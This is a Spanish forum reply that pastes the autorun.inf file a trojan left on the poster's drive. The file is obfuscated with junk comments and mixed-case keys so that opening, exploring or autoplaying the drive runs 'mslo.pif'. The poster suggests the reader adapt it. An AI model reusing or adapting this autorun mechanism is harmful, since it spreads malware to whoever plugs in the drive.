No sé si será de ayuda, pero yo he sido infectado por troyanos que utilizan autorun.inf, uno era el famoso Conficker, pero el otro, no tan famoso, tiene un autorun bastante comprensible, no sé si te sirva de ayuda:
[AutoRun]
;jeaDTlgvs LlfF
;jxlEsmSVkRfusuxrJbpldelOA nomn PjQAyxjFNU IxON
shell\ExPlOre\Command =mslo.pif
;Kvkswh hWlel nmHhApwnB IphVvl itPHfcTg Cweb
sheLL\opEN\deFAUlT=1
;fRmigh byntd
Open=mslo.pif
Shell\OPen\command= mslo.pif
;
shELl\AUtopLAY\CoMmaND = mslo.pif
Quein sabe, por ahí entiendas más que yo y puedas adaptarlo a tus necesidades =D
Autor
En línea
